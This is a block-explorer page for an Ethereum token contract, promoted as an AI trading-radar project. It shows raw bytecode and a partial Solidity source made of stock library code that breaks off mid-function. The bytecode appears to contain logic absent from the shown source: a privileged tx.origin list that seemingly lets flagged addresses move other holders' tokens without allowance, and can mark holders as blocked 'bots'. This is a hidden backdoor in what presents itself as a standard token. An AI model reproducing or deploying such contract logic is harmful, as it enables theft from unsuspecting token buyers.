Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0xFF2c9BC2f0a4e313b8D31d07104e5f7D8c3b66ED
Balance 0 ETH
Nonce 1
Code Size 11790 bytes
Indexed Transactions 0 (1 on-chain, 0% indexed)
External Etherscan · Sourcify

Contract Bytecode

11790 bytes
0x608060405260043610610169575f3560e01c80634a74bb02116100d05780638da5cb5b11610089578063a9059cbb11610063578063a9059cbb1461052a578063dd62ed3e14610566578063ddbf5266146105a2578063f2fde38b146105ca57610170565b80638da5cb5b1461049a57806395d89b41146104c4578063a457c2d7146104ee57610170565b80634a74bb02146103b4578063590f897e146103de57806370a0823114610408578063715018a61461044457806378109e541461045a5780638a8c523c1461048457610170565b806323b872dd1161012257806323b872dd14610282578063313ce567146102be57806339509351146102e85780633dc1bcc31461032457806340b9a54b1461036057806349bd5a5e1461038a57610170565b806306fdde0314610174578063095ea7b31461019e57806313fad07a146101da5780631694505e1461020457806318160ddd1461022e578063220f66961461025857610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b506101886105f2565b60405161019591906121f3565b60405180910390f35b3480156101a9575f5ffd5b506101c460048036038101906101bf91906122a4565b610682565b6040516101d191906122fc565b60405180910390f35b3480156101e5575f5ffd5b506101ee61069f565b6040516101fb91906122fc565b60405180910390f35b34801561020f575f5ffd5b506102186106b2565b6040516102259190612370565b60405180910390f35b348015610239575f5ffd5b506102426106d7565b60405161024f9190612398565b60405180910390f35b348015610263575f5ffd5b5061026c6106e0565b60405161027991906122fc565b60405180910390f35b34801561028d575f5ffd5b506102a860048036038101906102a391906123b1565b6106f3565b6040516102b591906122fc565b60405180910390f35b3480156102c9575f5ffd5b506102d26107d7565b6040516102df919061241c565b60405180910390f35b3480156102f3575f5ffd5b5061030e600480360381019061030991906122a4565b6107ec565b60405161031b91906122fc565b60405180910390f35b34801561032f575f5ffd5b5061034a60048036038101906103459190612435565b61089a565b60405161035791906122fc565b60405180910390f35b34801561036b575f5ffd5b506103746108b7565b6040516103819190612398565b60405180910390f35b348015610395575f5ffd5b5061039e6108bd565b6040516103ab919061246f565b60405180910390f35b3480156103bf575f5ffd5b506103c86108e2565b6040516103d591906122fc565b60405180910390f35b3480156103e9575f5ffd5b506103f26108f5565b6040516103ff9190612398565b60405180910390f35b348015610413575f5ffd5b5061042e60048036038101906104299190612435565b6108fb565b60405161043b9190612398565b60405180910390f35b34801561044f575f5ffd5b50610458610941565b005b348015610465575f5ffd5b5061046e610954565b60405161047b9190612398565b60405180910390f35b34801561048f575f5ffd5b5061049861095a565b005b3480156104a5575f5ffd5b506104ae610abb565b6040516104bb919061246f565b60405180910390f35b3480156104cf575f5ffd5b506104d8610ae2565b6040516104e591906121f3565b60405180910390f35b3480156104f9575f5ffd5b50610514600480360381019061050f91906122a4565b610b72565b60405161052191906122fc565b60405180910390f35b348015610535575f5ffd5b50610550600480360381019061054b91906122a4565b610c3a565b60405161055d91906122fc565b60405180910390f35b348015610571575f5ffd5b5061058c60048036038101906105879190612488565b610c57565b6040516105999190612398565b60405180910390f35b3480156105ad575f5ffd5b506105c860048036038101906105c391906124c6565b610cd9565b005b3480156105d5575f5ffd5b506105f060048036038101906105eb9190612435565b610d66565b005b6060600880546106019061251e565b80601f016020809104026020016040519081016040528092919081815260200182805461062d9061251e565b80156106785780601f1061064f57610100808354040283529160200191610678565b820191905f5260205f20905b81548152906001019060200180831161065b57829003601f168201915b5050505050905090565b5f61069561068e610de8565b8484610def565b6001905092915050565b601a60169054906101000a900460ff1681565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600d54905090565b601a60149054906101000a900460ff1681565b5f5f6106fd610de8565b905061070a858585610f7d565b61071485826117f6565b80925081965050506107cb85826107c686604051806060016040528060288152602001612d8c6028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461198b9092919063ffffffff16565b610def565b60019150509392505050565b5f600c5f9054906101000a900460ff16905090565b5f6108906107f8610de8565b8461088b8560025f610808610de8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119df90919063ffffffff16565b610def565b6001905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b60115481565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a60159054906101000a900460ff1681565b60125481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109496119f4565b6109525f611a72565b565b60175481565b6109626119f4565b6109ae3060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610def565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109f6306108fb565b5f5f610a00610abb565b426040518863ffffffff1660e01b8152600401610a2296959493929190612587565b60606040518083038185885af1158015610a3e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a6391906125fa565b5050506001601a60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1596001604051610ab191906122fc565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610af19061251e565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1d9061251e565b8015610b685780601f10610b3f57610100808354040283529160200191610b68565b820191905f5260205f20905b815481529060010190602001808311610b4b57829003601f168201915b5050505050905090565b5f610c30610b7e610de8565b84610c2b85604051806060016040528060258152602001612db46025913960025f610ba7610de8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461198b9092919063ffffffff16565b610def565b6001905092915050565b5f610c4d610c46610de8565b8484610f7d565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ce16119f4565b601a60149054906101000a900460ff1615610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612694565b60405180910390fd5b5f610d3b306108fb565b90505f60648383610d4c91906126df565b610d56919061274d565b9050610d6181611b33565b505050565b610d6e6119f4565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd3906127ed565b60405180910390fd5b610de581611a72565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e5757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8d90612855565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f709190612398565b60405180910390a3505050565b610f85610abb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561100d575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561104557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561109e5750601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110f7575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111365750611106610abb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611199575f611145836108fb565b905060175482826111569190612873565b1115611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e9061293c565b60405180910390fd5b505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561120157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611240576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611237906129a4565b60405180910390fd5b5f8111611282576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127990612a32565b60405180910390fd5b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611320575060075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b61135f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135690612a9a565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114025750601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561143b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b801561145c57506103e88161144f856108fb565b6114599190612ab8565b11155b156114bb57600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117f1565b600f60019054906101000a900460ff1660ff16600f5f9054906101000a900460ff1660ff16101580156114fb5750601a60149054906101000a900460ff16155b80156115545750601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561156c5750601a60159054906101000a900460ff165b156115ab575f600f5f6101000a81548160ff021916908360ff1602179055505f611595306108fb565b90505f8111156115a9576115a881611b33565b5b505b5f6001905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061164b575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806117145750601a60169054906101000a900460ff1680156116ba5750601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156117135750601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611721575f90506117e3565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611783576011546010819055506117e2565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117e1576012546010819055505b5b5b6117ef84848484611ba4565b505b505050565b5f5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185d90612b35565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cb90612b35565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611928578361192a565b325b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661197e5783611980565b325b915091509250929050565b5f8383111582906119d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c991906121f3565b60405180910390fd5b5082840390509392505050565b5f81836119ec9190612873565b905092915050565b6119fc610de8565b73ffffffffffffffffffffffffffffffffffffffff16611a1a610abb565b73ffffffffffffffffffffffffffffffffffffffff1614611a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6790612b9d565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601a60146101000a81548160ff021916908315150217905550611b5781611c0d565b5f479050611b8660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611e43565b505f601a60146101000a81548160ff02191690831515021790555050565b80611bb657611bb1611e8b565b611bee565b600f5f81819054906101000a900460ff1680929190611bd490612bbb565b91906101000a81548160ff021916908360ff160217905550505b611bf9848484611ee1565b80611c0757611c0661210f565b5b50505050565b5f600267ffffffffffffffff811115611c2957611c28612be3565b5b604051908082528060200260200182016040528015611c575781602001602082028036833780820191505090505b50905030815f81518110611c6e57611c6d612c10565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d12573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d369190612c51565b81600181518110611d4a57611d49612c10565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611db03060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610def565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611e12959493929190612d33565b5f604051808303815f87803b158015611e29575f5ffd5b505af1158015611e3b573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611e86573d5f5f3e3d5ffd5b505050565b5f601054148015611e9d57505f601154145b8015611eaa57505f601254145b611edf576011546015819055506012546016819055506010546014819055505f6011819055505f6012819055505f6010819055505b565b5f5f611eec8361212c565b91509150611f408360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461216e90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611fd18260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119df90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120628160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119df90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121009190612398565b60405180910390a35050505050565b601454601081905550601554601181905550601654601281905550565b5f5f5f60646010548561213f91906126df565b612149919061274d565b90505f61215f828661216e90919063ffffffff16565b90508082935093505050915091565b5f818361217b9190612ab8565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6121c582612183565b6121cf818561218d565b93506121df81856020860161219d565b6121e8816121ab565b840191505092915050565b5f6020820190508181035f83015261220b81846121bb565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61224082612217565b9050919050565b61225081612236565b811461225a575f5ffd5b50565b5f8135905061226b81612247565b92915050565b5f819050919050565b61228381612271565b811461228d575f5ffd5b50565b5f8135905061229e8161227a565b92915050565b5f5f604083850312156122ba576122b9612213565b5b5f6122c78582860161225d565b92505060206122d885828601612290565b9150509250929050565b5f8115159050919050565b6122f6816122e2565b82525050565b5f60208201905061230f5f8301846122ed565b92915050565b5f819050919050565b5f61233861233361232e84612217565b612315565b612217565b9050919050565b5f6123498261231e565b9050919050565b5f61235a8261233f565b9050919050565b61236a81612350565b82525050565b5f6020820190506123835f830184612361565b92915050565b61239281612271565b82525050565b5f6020820190506123ab5f830184612389565b92915050565b5f5f5f606084860312156123c8576123c7612213565b5b5f6123d58682870161225d565b93505060206123e68682870161225d565b92505060406123f786828701612290565b9150509250925092565b5f60ff82169050919050565b61241681612401565b82525050565b5f60208201905061242f5f83018461240d565b92915050565b5f6020828403121561244a57612449612213565b5b5f6124578482850161225d565b91505092915050565b61246981612236565b82525050565b5f6020820190506124825f830184612460565b92915050565b5f5f6040838503121561249e5761249d612213565b5b5f6124ab8582860161225d565b92505060206124bc8582860161225d565b9150509250929050565b5f602082840312156124db576124da612213565b5b5f6124e884828501612290565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061253557607f821691505b602082108103612548576125476124f1565b5b50919050565b5f819050919050565b5f61257161256c6125678461254e565b612315565b612271565b9050919050565b61258181612557565b82525050565b5f60c08201905061259a5f830189612460565b6125a76020830188612389565b6125b46040830187612578565b6125c16060830186612578565b6125ce6080830185612460565b6125db60a0830184612389565b979650505050505050565b5f815190506125f48161227a565b92915050565b5f5f5f6060848603121561261157612610612213565b5b5f61261e868287016125e6565b935050602061262f868287016125e6565b9250506040612640868287016125e6565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f61267e60208361218d565b91506126898261264a565b602082019050919050565b5f6020820190508181035f8301526126ab81612672565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6126e982612271565b91506126f483612271565b925082820261270281612271565b91508282048414831517612719576127186126b2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61275782612271565b915061276283612271565b92508261277257612771612720565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6127d760268361218d565b91506127e28261277d565b604082019050919050565b5f6020820190508181035f830152612804816127cb565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f61283f60118361218d565b915061284a8261280b565b602082019050919050565b5f6020820190508181035f83015261286c81612833565b9050919050565b5f61287d82612271565b915061288883612271565b92508282019050808211156128a05761289f6126b2565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f61292660518361218d565b9150612931826128a6565b606082019050919050565b5f6020820190508181035f8301526129538161291a565b9050919050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f61298e60158361218d565b91506129998261295a565b602082019050919050565b5f6020820190508181035f8301526129bb81612982565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f612a1c60258361218d565b9150612a27826129c2565b604082019050919050565b5f6020820190508181035f830152612a4981612a10565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f612a8460128361218d565b9150612a8f82612a50565b602082019050919050565b5f6020820190508181035f830152612ab181612a78565b9050919050565b5f612ac282612271565b9150612acd83612271565b9250828203905081811115612ae557612ae46126b2565b5b92915050565b7f217a65726f2061646472657373000000000000000000000000000000000000005f82015250565b5f612b1f600d8361218d565b9150612b2a82612aeb565b602082019050919050565b5f6020820190508181035f830152612b4c81612b13565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612b8760208361218d565b9150612b9282612b53565b602082019050919050565b5f6020820190508181035f830152612bb481612b7b565b9050919050565b5f612bc582612401565b915060ff8203612bd857612bd76126b2565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612c4b81612247565b92915050565b5f60208284031215612c6657612c65612213565b5b5f612c7384828501612c3d565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612cae81612236565b82525050565b5f612cbf8383612ca5565b60208301905092915050565b5f602082019050919050565b5f612ce182612c7c565b612ceb8185612c86565b9350612cf683612c96565b805f5b83811015612d26578151612d0d8882612cb4565b9750612d1883612ccb565b925050600181019050612cf9565b5085935050505092915050565b5f60a082019050612d465f830188612389565b612d536020830187612578565b8181036040830152612d658186612cd7565b9050612d746060830185612460565b612d816080830184612389565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b98ed39cf86763fe6a97da6d29e3e746954e74d39248b541ad4ff04be1c51b5364736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
Token.sol 1177 lines
// SPDX-License-Identifier: MIT

/*
Gain real-time insights. Follow elite moves. Replicate winning strategies.

https://greenradarai.space
https://app.greenradarai.space
https://x.com/gradaraispace
https://t.me/gradarai_official
*/

pragma solidity ^0.8.17;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves amount tokens from the caller's account to to.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves amount tokens from from to to using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
// File: contracts/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.17;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: contracts/Ownable.sol

// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.17;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * onlyOwner, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
